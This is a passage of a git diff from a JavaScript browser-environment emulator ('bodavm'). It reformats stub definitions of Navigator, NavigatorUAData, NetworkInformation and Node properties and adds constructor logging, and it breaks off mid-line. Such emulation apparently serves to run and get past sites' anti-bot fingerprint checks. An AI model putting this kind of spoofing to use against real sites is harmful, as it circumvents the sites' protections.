bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webdriver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getGamepads", { + configurable: true, + enumerable: true, + writable: true, + value: function getGamepads() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getGamepads", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "javaEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function javaEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "javaEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "sendBeacon", { + configurable: true, + enumerable: true, + writable: true, + value: function sendBeacon() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "sendBeacon", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "vibrate", { + configurable: true, + enumerable: true, + writable: true, + value: function vibrate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vibrate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "bluetooth", { + configurable: true, + enumerable: true, + get: function bluetooth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "bluetooth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "clipboard", { + configurable: true, + enumerable: true, + get: function clipboard() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clipboard_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "credentials", { + configurable: true, + enumerable: true, + get: function credentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "credentials_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "keyboard", { + configurable: true, + enumerable: true, + get: function keyboard() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "keyboard_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "managed", { + configurable: true, + enumerable: true, + get: function managed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "managed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaDevices", { + configurable: true, + enumerable: true, + get: function mediaDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaDevices_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "storage", { + configurable: true, + enumerable: true, + get: function storage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "storage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "serviceWorker", { + configurable: true, + enumerable: true, + get: function serviceWorker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serviceWorker_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "virtualKeyboard", { + configurable: true, + enumerable: true, + get: function virtualKeyboard() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "virtualKeyboard_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "wakeLock", { + configurable: true, + enumerable: true, + get: function wakeLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "wakeLock_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "deviceMemory", { + configurable: true, + enumerable: true, + get: function deviceMemory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "deviceMemory_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "ink", { + configurable: true, + enumerable: true, + get: function ink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "ink_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "hid", { + configurable: true, + enumerable: true, + get: function hid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "locks", { + configurable: true, + enumerable: true, + get: function locks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "locks_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaCapabilities", { + configurable: true, + enumerable: true, + get: function mediaCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaCapabilities_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaSession", { + configurable: true, + enumerable: true, + get: function mediaSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaSession_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "permissions", { + configurable: true, + enumerable: true, + get: function permissions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "permissions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "presentation", { + configurable: true, + enumerable: true, + get: function presentation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "presentation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "serial", { + configurable: true, + enumerable: true, + get: function serial() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serial_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "usb", { + configurable: true, + enumerable: true, + get: function usb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "usb_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "gpu", { + configurable: true, + enumerable: true, + get: function gpu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "gpu_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "windowControlsOverlay", { + configurable: true, + enumerable: true, + get: function windowControlsOverlay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "windowControlsOverlay_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "xr", { + configurable: true, + enumerable: true, + get: function xr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "xr_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userAgentData", { + configurable: true, + enumerable: true, + get: function userAgentData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgentData_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "canShare", { + configurable: true, + enumerable: true, + writable: true, + value: function canShare() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "canShare", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "share", { + configurable: true, + enumerable: true, + writable: true, + value: function share() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "share", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "clearAppBadge", { + configurable: true, + enumerable: true, + writable: true, + value: function clearAppBadge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clearAppBadge", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getBattery", { + configurable: true, + enumerable: true, + writable: true, + value: function getBattery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getBattery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getUserMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function getUserMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getUserMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "requestMIDIAccess", { + configurable: true, + enumerable: true, + writable: true, + value: function requestMIDIAccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMIDIAccess", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "requestMediaKeySystemAccess", { + configurable: true, + enumerable: true, + writable: true, + value: function requestMediaKeySystemAccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMediaKeySystemAccess", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "setAppBadge", { + configurable: true, + enumerable: true, + writable: true, + value: function setAppBadge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "setAppBadge", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitGetUserMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitGetUserMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitGetUserMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getInstalledRelatedApps", { + configurable: true, + enumerable: true, + writable: true, + value: function getInstalledRelatedApps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getInstalledRelatedApps", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "registerProtocolHandler", { + configurable: true, + enumerable: true, + writable: true, + value: function registerProtocolHandler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "registerProtocolHandler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "unregisterProtocolHandler", { + configurable: true, + enumerable: true, + writable: true, + value: function unregisterProtocolHandler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "unregisterProtocolHandler", arguments); + } +}, 'prototype'); + +// navigator对象 + +bodavm.memory.globalobj['navigator'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['navigator'].__proto__ = bodavm.memory.globalobj['Navigator'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigatorManagedData.js b/env_xbb_lastest_jsdom/env/NavigatorManagedData.js index 9afe718b..0a0dc79c 100644 --- a/env_xbb_lastest_jsdom/env/NavigatorManagedData.js +++ b/env_xbb_lastest_jsdom/env/NavigatorManagedData.js @@ -1,7 +1,37 @@ -// NavigatorManagedData对象 -bodavm.memory.globalobj['NavigatorManagedData'] = function NavigatorManagedData(){if (!(this instanceof NavigatorManagedData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorManagedData'], "NavigatorManagedData"); -bodavm.memory.globalobj['NavigatorManagedData'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['NavigatorManagedData'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('NavigatorManagedData', "onmanagedconfigurationchange", {configurable:true, enumerable:true, get:function onmanagedconfigurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_get", arguments)}, set:function onmanagedconfigurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorManagedData', "getManagedConfiguration", {configurable:true, enumerable:true, writable:true, value:function getManagedConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "getManagedConfiguration", arguments)}},'prototype'); +// NavigatorManagedData对象 + +bodavm.memory.globalobj['NavigatorManagedData'] = function NavigatorManagedData() { + console.log_copy('NavigatorManagedData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigatorManagedData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorManagedData'], "NavigatorManagedData"); +bodavm.memory.globalobj['NavigatorManagedData'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['NavigatorManagedData'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('NavigatorManagedData', "onmanagedconfigurationchange", { + configurable: true, + enumerable: true, + get: function onmanagedconfigurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_get", arguments); + }, + set: function onmanagedconfigurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorManagedData', "getManagedConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getManagedConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "getManagedConfiguration", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigatorUAData.js b/env_xbb_lastest_jsdom/env/NavigatorUAData.js index ba32d4d8..bc1e9278 100644 --- a/env_xbb_lastest_jsdom/env/NavigatorUAData.js +++ b/env_xbb_lastest_jsdom/env/NavigatorUAData.js @@ -1,8 +1,57 @@ -// NavigatorUAData对象 -bodavm.memory.globalobj['NavigatorUAData'] = function NavigatorUAData(){if (!(this instanceof NavigatorUAData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorUAData'], "NavigatorUAData"); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "brands", {configurable:true, enumerable:true, get:function brands (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "brands_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "mobile", {configurable:true, enumerable:true, get:function mobile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "mobile_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "platform", {configurable:true, enumerable:true, get:function platform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "platform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "getHighEntropyValues", {configurable:true, enumerable:true, writable:true, value:function getHighEntropyValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "getHighEntropyValues", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "toJSON", arguments)}},'prototype'); +// NavigatorUAData对象 + +bodavm.memory.globalobj['NavigatorUAData'] = function NavigatorUAData() { + console.log_copy('NavigatorUAData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigatorUAData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorUAData'], "NavigatorUAData"); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "brands", { + configurable: true, + enumerable: true, + get: function brands() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "brands_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "mobile", { + configurable: true, + enumerable: true, + get: function mobile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "mobile_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "platform", { + configurable: true, + enumerable: true, + get: function platform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "platform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "getHighEntropyValues", { + configurable: true, + enumerable: true, + writable: true, + value: function getHighEntropyValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "getHighEntropyValues", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NetworkInformation.js b/env_xbb_lastest_jsdom/env/NetworkInformation.js index 7f3773a9..4f96627c 100644 --- a/env_xbb_lastest_jsdom/env/NetworkInformation.js +++ b/env_xbb_lastest_jsdom/env/NetworkInformation.js @@ -1,10 +1,61 @@ -// NetworkInformation对象 -bodavm.memory.globalobj['NetworkInformation'] = function NetworkInformation(){if (!(this instanceof NetworkInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NetworkInformation'], "NetworkInformation"); -bodavm.memory.globalobj['NetworkInformation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['NetworkInformation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('NetworkInformation', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "effectiveType", {configurable:true, enumerable:true, get:function effectiveType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "effectiveType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "rtt", {configurable:true, enumerable:true, get:function rtt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "rtt_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "downlink", {configurable:true, enumerable:true, get:function downlink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "downlink_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NetworkInformation', "saveData", {configurable:true, enumerable:true, get:function saveData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "saveData_get", arguments)}, set:undefined},'prototype'); +// NetworkInformation对象 + +bodavm.memory.globalobj['NetworkInformation'] = function NetworkInformation() { + console.log_copy('NetworkInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NetworkInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NetworkInformation'], "NetworkInformation"); +bodavm.memory.globalobj['NetworkInformation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['NetworkInformation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('NetworkInformation', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "effectiveType", { + configurable: true, + enumerable: true, + get: function effectiveType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "effectiveType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "rtt", { + configurable: true, + enumerable: true, + get: function rtt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "rtt_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "downlink", { + configurable: true, + enumerable: true, + get: function downlink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "downlink_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "saveData", { + configurable: true, + enumerable: true, + get: function saveData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "saveData_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Node.js b/env_xbb_lastest_jsdom/env/Node.js index 5c239dd3..0795044c 100644 --- a/env_xbb_lastest_jsdom/env/Node.js +++ b/env_xbb_lastest_jsdom/env/Node.js @@ -1,140 +1,470 @@ // Node对象 -bodavm.memory.globalobj['Node'] = function Node(){ - if (!(this instanceof Node)){ - return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") - }; - this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Node'], "Node") -bodavm.memory.globalobj['Node'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype -bodavm.memory.globalobj['Node'].__proto__=bodavm.memory.globalobj['EventTarget']; - -bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", {configurable:false, enumerable:true, writable:false, value:1}); - -bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", {configurable:false, enumerable:true, writable:false, value:2}); - -bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", {configurable:false, enumerable:true, writable:false, value:3}); - -bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", {configurable:false, enumerable:true, writable:false, value:4}); - -bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", {configurable:false, enumerable:true, writable:false, value:5}); - -bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", {configurable:false, enumerable:true, writable:false, value:6}); - -bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", {configurable:false, enumerable:true, writable:false, value:7}); - -bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", {configurable:false, enumerable:true, writable:false, value:8}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", {configurable:false, enumerable:true, writable:false, value:9}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", {configurable:false, enumerable:true, writable:false, value:10}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", {configurable:false, enumerable:true, writable:false, value:11}); - -bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", {configurable:false, enumerable:true, writable:false, value:12}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", {configurable:false, enumerable:true, writable:false, value:1}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", {configurable:false, enumerable:true, writable:false, value:2}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", {configurable:false, enumerable:true, writable:false, value:4}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", {configurable:false, enumerable:true, writable:false, value:8}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", {configurable:false, enumerable:true, writable:false, value:16}); - -bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", {configurable:false, enumerable:true, writable:false, value:32}); - -bodavm.toolsFunc.defineProperty('Node', "nodeType", {configurable:true, enumerable:true, get:function nodeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeType_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "nodeName", {configurable:true, enumerable:true, get:function nodeName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeName_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "baseURI", {configurable:true, enumerable:true, get:function baseURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "baseURI_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "isConnected", {configurable:true, enumerable:true, get:function isConnected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isConnected_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "ownerDocument", {configurable:true, enumerable:true, get:function ownerDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "ownerDocument_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "parentNode", {configurable:true, enumerable:true, get:function parentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentNode_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "parentElement", {configurable:true, enumerable:true, get:function parentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "childNodes", {configurable:true, enumerable:true, get:function childNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "childNodes_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "firstChild", {configurable:true, enumerable:true, get:function firstChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "firstChild_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "lastChild", {configurable:true, enumerable:true, get:function lastChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lastChild_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "previousSibling", {configurable:true, enumerable:true, get:function previousSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "previousSibling_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "nextSibling", {configurable:true, enumerable:true, get:function nextSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nextSibling_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Node', "nodeValue", {configurable:true, enumerable:true, get:function nodeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_get", arguments)}, set:function nodeValue (){return bodavm.toolsFunc.dispatch(this, 